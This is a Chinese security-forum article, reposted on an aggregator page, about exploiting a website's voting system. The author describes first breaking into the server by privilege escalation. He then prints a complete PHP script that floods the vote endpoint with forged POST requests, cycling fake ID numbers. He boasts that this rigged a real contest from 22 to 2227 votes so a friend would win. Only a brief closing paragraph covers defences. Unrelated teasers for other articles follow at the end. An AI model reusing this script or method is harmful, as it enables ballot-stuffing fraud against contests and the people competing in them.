投票系统的作弊与防范脚本安全 -电脑资料

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

文章作者:fhod

文章首发邪恶八进制转载请注明原始来源

前几日朋友找我帮忙.说是在一个网站参加样板房投票竞选.有没有办法帮他刷第一票.心肠好的我自然是答应了.然后朋友发来了网站..看了下是asp的..服务器安全做的还不错..没找到任何程序上的漏洞..通过旁注提权入侵进去后.发现管理员真的是很变态..本来打算修改数据库的.刚看了下投票的代码准备找出数据库连接文件.就被管理踢了..接着这事就搁下了..过了几天朋友又催..只好又看了下..才发现所有的漏洞都已经补掉..

还是直接从投票上入手把.希望可以找到突破口直接达到刷票的目的.投票选项如图1.

朋友的样板房名为"风华廊"所以图1中我勾选上了"风·华廊"最多可选10项..其中姓名.联系电话.身份证号码都是虚构的.经过反复投票测试.此投票系统只对身份证号码进行了验证..假设一下身份证号为1234567890.姓名为测试.联系电话:13013011111只需要把身份证号码改为别的数字.如1234567891就可以再投上一票..并未对IP和cookies进行验证.完全可以达到刷票的目的..

图2是我抓的投票成功的数据包.

Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel=13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB

根据数据包构造出URL为

http://www.xxxx.com/ad/20061221/a.asp?action=add&Aname=%B7%E7%26%238226%3B%BB%AA% ... 13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB

直接在IE里打开此页面会出现如图3的提示

但只要我们把其中的idcord=1234567890改为idcord=1234567891就会出现投票成功的对话框.知道了投票系统存在的缺陷后..现在就想办法利用程序实现刷票的目的..

写一个发包的程序把idcord设置为一个变量.然后每发送一次数据这个变量得数字就增加一个数.比如idcord=1234567**9循环一次就是idcord=1234567*79自动改变其中的数值..

这样的程序用VB.C.ASP,PHP都不难实现..下面就介绍下PHP的..以下所涉及到的PHP代码为EST的兄弟TTFCT所写.

程序完整代码(目标网站做了相应处理)

<?php

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",2);

print_r('Voting....');

for($i=0;$i<=9;$i++)

for($j=0;$j<=9;$j++)

for($k=0;$k<=9;$k++)

for($l=0;$l<=9;$l++)

{

$packet="POST/ad/20061221/a.asp?action=addHTTP/1.1\r\n";

$packet.="Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,*/*\r\n";

$packet.="Referer:http://www.xxx.com/ad/20061221/a.asp\r\n";

$packet.="Accept-Language:zh-cn\r\n";

$packet.="Content-Type:application/x-www-form-urlencoded\r\n";

$packet.="Accept-Encoding:gzip,deflate\r\n";

$packet.="User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;Maxthon)\r\n";

$packet.="Host:www.xxx.com\r\n";

$packet.="Content-Length:113\r\n";

$packet.="Connection:Keep-Alive\r\n";

$packet.="Cache-Control:no-cache\r\n";

$packet.="Cookie:ASPSESSIONIDASDCQDBT=NKKJPDLAMAMNHJHHNBBLOCCH\r\n\r\n";

$packet.="Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel=13013011111&idcord=1234".$i.$j.$k.$l."90&Submit=%CC%E1%BD%BB\r\n";

if($fp=fsockopen("www.xxx.com",80,$errno,$errstr,50))

if(fwrite($fp,$packet,strlen($packet)))

print_r(

'

Successtovote

');

sleep(2);

print_r(

'

Waitfor2seconds'

);

}

?>

懂PHP的朋友一眼就能看出,这只是个发包的程序..其中ini_set("default_socket_timeout",2);为发送数据包的间隔时间为2秒.

for($i=0;$i<=9;$i++)

for($j=0;$j<=9;$j++)

for($

;k=0;$k<=9;$k++)

for($l=0;$l<=9;$l++)

是设置好的四个变量.在下面的数据包中..idcord=1234".$i.$j.$k.$l."90自动生成idcord为一个不重复的数值

利用程序写好了..下面就开始刷票..因为是PHP程序..所以要找个支持PHP的空间来运行..就算没有空间只要安装AppServ也一样可以..AppServ可以在http://www.skycn.com/soft/13703.html免费下载到.安装过程很简单的..这里就不说了..

先来看下未刷票前.."风华廊"的票数是多少...

从图4中可以看到是22票..接着我们执行PHP代码..

如图5..

出现"Successtovote"就是投票成功了..

因为我设置的是2秒钟投一票..一个小时也就是1800票.所以经过一个多小时后"风华廊"的票数成了2227票.图6

朋友的作品理所当然的就拿了第一..而我也因此获得了一顿丰富的午餐.

其实这样的投票程序只要加上cookies验证..一个IP只能投一票..每次投票的间隔时间..等措施就很难作弊了.此文并不是要教大家如何去刷投票.只是想以投票的目的让大家知道是如何刷票的..并在知道刷票的同时怎样去防范它..

相关文章

一年级上册数学期末试卷

一、细心填一填。每空1分,共48分。1.6个一和1个十合起来是( )。( )个十是20。2.个位是0,十位上是1,这个数是( ),15里面有( )个十和( )个一。3.找规律填数。2 4 6 12 2...
资料大全2019-04-05
一年级上册数学期末试卷

小学班规

鞍喙妫钢醒芾戆嗉吨胁扇〉墓嬲轮贫龋虺瓢喙妗C扛霭嗟陌喙娑疾灰谎饕婕把啊⒓吐伞⒊銮凇⑽郎戎疃喾矫妫侵醒晕夜芾淼闹匾贫取O旅嫘”啻吹男⊙О喙妗! ⌒⊙О喙...
资料大全2012-03-07
小学班规

南宁中考

为期6天的2016年南宁市初中毕业升学体育与健康考试近日在南宁市第三十六中学考点圆满结束,南宁市7.6万名考生顺利完成现场测试,考试总体平稳,继续保持南宁市优良的考风考纪。南宁市教育局精心组织,周密安...
资料大全2016-05-02
南宁中考

用连供=麻烦?多方面解读连续供墨系统 -管理资料

买得起,打不起,这恐怕是所有经常使用打印机的人的共同心声,高昂的墨盒价格让很多人烦恼不已,用连供=麻烦?多方面解读连续供墨系统。喷墨打印机各家墨盒互不通用,各自的独家经营使得打印成本居高不下;国产通...
资料大全2016-02-02
用连供=麻烦?多方面解读连续供墨系统 -管理资料

孩子为什么总是说话大声

每一个孩子在成长的过程中都要学习各种各样的知识和能力,孩子为什么总是说话大声。有些时候孩子们的行为可能会让父母感到非常的沮丧和失望。其中就包括孩子们说话的时候大喊大叫。那么,如...
资料大全2011-09-07
孩子为什么总是说话大声

奶奶丧事答谢词

奶奶丧事答谢词的范文有哪些?以下是PINCAI小编收集的关于《奶奶丧事答谢词》的范文,仅供大家阅读参考!范文一:奶奶丧事答谢词各位单位领导,亲朋好友:感谢你们抽出宝贵的时间赶到这里参加我奶奶张兰英的葬...
资料大全2015-08-03
奶奶丧事答谢词